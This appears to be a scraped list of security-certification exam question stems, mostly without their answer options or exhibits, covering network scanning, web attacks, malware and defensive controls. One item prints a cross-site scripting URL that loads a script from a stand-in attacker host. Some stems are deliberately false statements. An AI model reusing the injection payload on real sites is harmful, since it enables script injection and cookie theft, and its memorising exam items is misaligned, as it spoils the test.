What type of Trojan is this?
Which of the following tool would be considered as Signature Integrity Verifier (SIV)?
Which of the following statements would NOT be a proper definition for a Trojan Horse?
In TCP communications there are 8 flags; FIN, SYN, RST, PSH, ACK, URG, ECE, CWR. These flags have decimal numbers assigned to them:
FIN = 1
SYN = 2
RST = 4
PSH = 8
ACK = 16
URG = 32
ECE = 64
CWR = 128
Jason is the security administrator of ASPEN Communications. He analyzes some traffic using Wireshark and has enabled the following filters.
What is Jason trying to accomplish here?
Stephanie works as a records clerk in a large office building in downtown Chicago. On Monday, she went to a mandatory security awareness class (Security5) put on by her company's IT department. During the class, the IT department informed all employees that everyone's Internet activity was thenceforth going to be monitored.
Stephanie is worried that her Internet activity might give her supervisor reason to write her up, or worse get her fired. Stephanie's daily work duties only consume about four hours of her time, so she usually spends the rest of the day surfing the web. Stephanie really enjoys surfing the Internet but definitely does not want to get fired for it.
What should Stephanie use so that she does not get in trouble for surfing the Internet?
Bret is a web application administrator and has just read that there are a number of surprisingly common web application vulnerabilities that can be exploited by unsophisticated attackers with easily available tools on the Internet. He has also read that when an organization deploys a web application, they invite the world to send HTTP requests. Attacks buried in these requests sail past firewalls, filters, platform hardening, SSL, and IDS without notice because they are inside legal HTTP requests. Bret is determined to weed out vulnerabilities.
What are some of the common vulnerabilities in web applications that he should be concerned about?
Annie has just succeeded in stealing a secure cookie via a XSS attack. She is able to replay the cookie even while the session is invalid on the server. Why do you think this is possible?
If a competitor wants to cause damage to your organization, steal critical secrets, or put you out of business, they just have to find a job opening, prepare someone to pass the interview, have that person hired, and they will be in the organization.
How would you prevent such type of attacks?
Stephanie works as senior security analyst for a manufacturing company in Detroit. Stephanie manages network security throughout the organization. Her colleague Jason told her in confidence that he was able to see confidential corporate information posted on the external website http://www.jeansclothesman.com. He tries random URLs on the company 's website and finds confidential information leaked over the web. Jason says this happened about a month ago. Stephanie visits the said URLs, but she finds nothing. She is very concerned about this, since someone should be held accountable if there was sensitive information posted on the website.
Where can Stephanie go to see past versions and pages of a website?
You run nmap port Scan on 10.0.0.5 and attempt to gain banner/server information from services running on ports 21, 110 and 123.
Here is the output of your scan results:
Which of the following nmap command did you run?
What port number is used by Kerberos protocol?
SYN Flood is a DOS attack in which an attacker deliberately violates the three-way handshake and opens a large number of half-open TCP connections. The signature of attack for SYN Flood contains:
This attack uses social engineering techniques to trick users into accessing a fake Web site and divulging personal information. Attackers send a legitimate-looking e-mail asking users to update their information on the company's Web site, but the URLs in the e-mail actually point to a false Web site.
Fake Anti-Virus, is one of the most frequently encountered and persistent threats on the web. This malware uses social engineering to lure users into infected websites with a technique called Search Engine Optimization.
Once the Fake AV is downloaded into the user's computer, the software will scare them into believing their system is infected with threats that do not really exist, and then push users to purchase services to clean up the non-existent threats.
The Fake AntiVirus will continue to send these annoying and intrusive alerts until a payment is made.
What is the risk of installing Fake AntiVirus?
David is a security administrator working in Boston. David has been asked by the office's manager to block all POP3 traffic at the firewall because he believes employees are spending too much time reading personal email. How can David block POP3 at the firewall?
In Buffer Overflow exploit, which of the following registers gets overwritten with return address of the exploit code?
The FIN flag is set and sent from host A to host B when host A has no more data to transmit (Closing a TCP connection). This flag releases the connection resources. However, host A can continue to receive data as long as the SYN sequence numbers of transmitted packets from host B are lower than the packet segment containing the set FIN flag.
What is the command used to create a binary log file using tcpdump?
This is an attack that takes advantage of a web site vulnerability in which the site displays content that includes un-sanitized user-provided data.
http://foobar.com/index.html?id=%3Cscript%20src=%22http://baddomain.com/badscript.js%22%3E%3C/script%3E ">See foobar
What is this attack?
You are footprinting an organization and gathering competitive intelligence. You visit the company's website for contact information and telephone numbers but do not find them listed there. You know they had the entire staff directory listed on their website 12 months ago but now it is not there. Is there any way you can retrieve information from a website that is outdated?
Frederickson Security Consultants is currently conducting a security audit on the networks of Hawthorn Enterprises, a contractor for the Department of Defense. Since Hawthorn Enterprises conducts business daily with the federal government, they must abide by very stringent security policies. Frederickson is testing all of Hawthorn's physical and logical security measures including biometrics, passwords, and permissions. The federal government requires that all users must utilize random, non-dictionary passwords that must take at least 30 days to crack. Frederickson has confirmed that all Hawthorn employees use a random password generator for their network passwords. The Frederickson consultants have saved off numerous SAM files from Hawthorn's servers using Pwdump6 and are going to try and crack the network passwords. What method of attack is best suited to crack these passwords in the shortest amount of time?
Identify SQL injection attack from the HTTP requests shown below:
You receive an e-mail like the one shown below. When you click on the link contained in the mail, you are redirected to a website seeking you to download free Anti-Virus software.
Dear valued customers,
We are pleased to announce the newest version of Antivirus 2010 for Windows which will probe you with total security against the latest spyware, malware, viruses, Trojans and other online threats. Simply visit the link below and enter your antivirus code:
Antivirus code: 5014
Thank you for choosing us, the worldwide leader Antivirus solutions.
PDF Reader Support
Copyright Antivirus 2010 ?All rights reserved
If you want to stop receiving mail, please go to:
or you may contact us at the following address: Media Internet Consultants, Edif. Neptuno, Planta Baja, Ave. Ricardo J. Alfaro, Tumba Muerto, n/a Panama
How will you determine if this is Real Anti-Virus or Fake Anti-Virus website?
Yancey is a network security administrator for a large electric company. This company provides power for over 100,000 people in Las Vegas. Yancey has worked for his company for over 15 years and has become very successful. One day, Yancey comes in to work and finds out that the company will be downsizing and he will be out of a job in two weeks. Yancey is very angry and decides to place logic bombs, viruses, Trojans, and backdoors all over the network to take down the company once he has left. Yancey does not care if his actions land him in jail for 30 or more years, he just wants the company to pay for what they are doing to him. What would Yancey be considered?
Charlie is the network administrator for his company. Charlie just received a new Cisco router and wants to test its capabilities out and to see if it might be susceptible to a DoS attack resulting in its locking up. The IP address of the Cisco switch is 172.16.0.45. What command can Charlie use to attempt this task?
John the hacker is sniffing the network to inject ARP packets. He injects broadcast frames onto the wire to conduct MiTM attack. What is the destination MAC address of a broadcast frame?
Fred is the network administrator for his company. Fred is testing an internal switch. From an external IP address, Fred wants to try and trick this switch into thinking it already has established a session with his computer. How can Fred accomplish this?
What type of attack is shown here?
We think this is a DDoS attack not DoS because the attack is initialed in multiple zombies not single machine.
Which type of sniffing technique is generally referred as MiTM attack?
ARP poisoning is the closest value to the right answer because ARP spoofing, also known as ARP flooding, ARP poisoning or ARP poison routing (APR), is a technique used to attack a local-area network (LAN). ARP spoofing may allow an attacker to interceptdata frames on a LAN, modify the traffic, or stop the traffic altogether. The attack can only be used on networks that make use of the Address Resolution Protocol (ARP) and not another method of address resolution.
You are the CIO for Avantes Finance International, a global finance company based in Geneva. You are responsible for network functions and logical security throughout the entire corporation. Your company has over 250 servers running Windows Server, 5000 workstations running Windows Vista, and 200 mobile users working from laptops on Windows 7.
Last week, 10 of your company's laptops were stolen from salesmen while at a conference in Amsterdam. These laptops contained proprietary company information. While doing damage assessment on the possible public relations nightmare this may become, a news story leaks about the stolen laptops and also that sensitive information from those computers was posted to a blog online.
What built-in Windows feature could you have implemented to protect the sensitive information on these laptops?
The programmers on your team are analyzing the free, open source software being used to run FTP services on a server in your organization. They notice that there is excessive number of functions in the source code that might lead to buffer overflow. These C++ functions do not check bounds. Identify the line in the source code that might lead to buffer overflow?
Data is sent over the network as clear text (unencrypted) when Basic Authentication is configured on Web Servers.
What type of OS fingerprinting technique sends specially crafted packets to the remote OS and analyzes the received response?
Which of the following is a protocol that is prone to a man-in-the-middle (MITM) attack and maps a 32-bit address to a 48-bit address?
Address Resolution Protocol (ARP) a stateless protocol was designed to map Internet Protocol addresses (IP) to their associated Media Access Control (MAC) addresses.
This being said, by mapping a 32 bit IP address to an associated 48 bit MAC address via attached Ethernet devices, a communication between local nodes can be made.
Source: (http://www.exploit-db.com/papers/13190/ )
Which types of detection methods are employed by Network Intrusion Detection Systems (NIDS)? (Choose two.)
A computer technician is using a new version of a word processing software package when it is discovered that a special sequence of characters causes the entire computer to crash. The technician researches the bug and discovers that no one else experienced the problem. What is the appropriate next step?
Which of the following ensures that updates to policies, procedures, and configurations are made in a controlled and documented fashion?
Which of the following parameters enables NMAP's operating system detection feature?
Which of the following is a characteristic of Public Key Infrastructure (PKI)?
Which initial procedure should an ethical hacker perform after being brought into an organization?
How can rainbow tables be defeated?
A network security administrator is worried about potential man-in-the-middle attacks when users access a corporate web site from their workstations. Which of the following is the best remediation against this type of attack?
Which type of access control is used on a router or firewall to limit network activity?
An attacker has been successfully modifying the purchase price of items purchased on the company's web site. The security administrators verify the web server and Oracle database have not been compromised directly. They have also verified the Intrusion Detection System (IDS) logs and found no attacks that could have caused this. What is the mostly likely way the attacker has been able to modify the purchase price?
Which Open Web Application Security Project (OWASP) implements a web application full of known vulnerabilities?
A Security Engineer at a medium-sized accounting firm has been tasked with discovering how much information can be obtained from the firm's public facing web servers. The engineer decides to start by using netcat to port 80.
The engineer receives this output:
HTTP/1.1 200 OK
Expires: Tue, 17 Jan 2011 01:41:33 GMT
DatE. Mon, 16 Jan 2011 01:41:33 GMT
Last-ModifieD. Wed, 28 Dec 2010 15:32:21 GMT
Which of the following is an example of what the engineer performed?
Which of the following programs is usually targeted at Microsoft Office products?
A company firewall engineer has configured a new DMZ to allow public systems to be located away from the internal network. The engineer has three security zones set:
Untrust (Internet) – (Remote network = 22.214.171.124/24)
DMZ (DMZ) – (126.96.36.199/24)
Trust (Intranet) – (192.168.0.0/24)
The engineer wants to configure remote desktop access from a fixed IP on the remote network to a remote desktop server in the DMZ. Which rule would best fit this requirement?
What is the broadcast address for the subnet 188.8.131.52/22?
A covert channel is a channel that
Blane is a security analyst for a law firm. One of the lawyers needs to send out an email to a client but he wants to know if the email is forwarded on to any other recipients. The client is explicitly asked not to re-send the email since that would be a violation of the lawyer's and client's agreement for this particular case. What can Blane use to accomplish this?
Jane wishes to forward X-Windows traffic to a remote host as well as POP3 traffic. She is worried that adversaries might be monitoring the communication link and could inspect captured traffic. She would like to tunnel the information to the remote end but does not have VPN capabilities to do so. Which of the following tools can she use to protect the link?
Which of the following identifies the three modes in which Snort can be configured to run?
Which of the following types of firewall inspects only header information in network traffic?
WWW wanderers or spiders are programs that traverse many pages in the World Wide Web by recursively retrieving linked pages. Search engines like Google, frequently spider web pages for indexing. How will you stop web spiders from crawling certain directories on your website?
Hayden is the network security administrator for her company, a large finance firm based in Miami. Hayden just returned from a security conference in Las Vegas where they talked about all kinds of old and new security threats; many of which she did not know of. Hayden is worried about the current security state of her company's network so she decides to start scanning the network from an external IP address. To see how some of the hosts on her network react, she sends out SYN packets to an IP range. A number of IPs responds with a SYN/ACK response. Before the connection is established she sends RST packets to those hosts to stop the session. She does this to see how her intrusion detection system will log the traffic. What type of scan is Hayden attempting here?
Which of the following Exclusive OR transforms bits is NOT correct?
When an alert rule is matched in a network-based IDS like snort, the IDS does which of the following?
You generate MD5 128-bit hash on all files and folders on your computer to keep a baseline check for security reasons?
What is the length of the MD5 hash?
Wayne is the senior security analyst for his company. Wayne is examining some traffic logs on a server and came across some inconsistencies. Wayne finds some IP packets from a computer purporting to be on the internal network. The packets originate from 192.168.12.35 with a TTL of 15. The server replied to this computer and received a response from 192.168.12.35 with a TTL of 21. What can Wayne infer from this traffic log?
Here is the ASCII Sheet.
You want to guess the DBO username juggyboy (8 characters) using Blind SQL Injection technique.
What is the correct syntax?
Which of the following items of a computer system will an anti-virus program scan for viruses?
A company is using Windows Server 2003 for its Active Directory (AD). What is the most efficient way to crack the passwords for the AD users?
A majority of attacks come from insiders, people who have direct access to a company's computer system as part of their job function or a business relationship. Who is considered an insider?
Which set of access control solutions implements two-factor authentication?
Which of the following describes the characteristics of a Boot Sector Virus?
Which of the following does proper basic configuration of snort as a network intrusion detection system require?
Which of the following is a primary service of the U.S. Computer Security Incident Response Team (CSIRT)?
A company is legally liable for the content of email that is sent from its systems, regardless of whether the message was sent for private or business-related purposes. This could lead to prosecution for the sender and for the company's directors if, for example, outgoing email was found to contain material that was pornographic, racist, or likely to incite someone to commit an act of terrorism. You can always defend yourself by "ignorance of the law" clause.
During a penetration test, a tester finds that the web application being analyzed is vulnerable to Cross Site Scripting (XSS). Which of the following conditions must be met to exploit this vulnerability?
Which of the following can the administrator do to verify that a tape backup can be recovered in its entirety?
A tester has been hired to do a web application security test. The tester notices that the site is dynamic and must make use of a back end database.
In order for the tester to see if SQL injection is possible, what is the first character that the tester should use to attempt breaking a valid SQL request?
Harold is the senior security analyst for a small state agency in New York. He has no other security professionals that work under him, so he has to do all the security-related tasks for the agency. Coming from a computer hardware background, Harold does not have a lot of experience with security methodologies and technologies, but he was the only one who applied for the position. Harold is currently trying to run a Sniffer on the agency's network to get an idea of what kind of traffic is being passed around, but the program he is using does not seem to be capturing anything. He pours through the Sniffer's manual, but cannot find anything that directly relates to his problem. Harold decides to ask the network administrator if he has any thoughts on the problem. Harold is told that the Sniffer was not working because the agency's network is a switched network, which cannot be sniffed by some programs without some tweaking. What technique could Harold use to sniff his agency's switched network?
Company A and Company B have just merged and each has its own Public Key Infrastructure (PKI). What must the Certificate Authorities (CAs) establish so that the private PKIs for Company A and Company B trust one another and each private PKI can validate digital certificates from the other company?
An attacker uses a communication channel within an operating system that is neither designed nor intended to transfer information. What is the name of the communications channel?
What are the three types of compliance that the Open Source Security Testing Methodology Manual (OSSTMM) recognizes?
Which of the following business challenges could be solved by using a vulnerability scanner?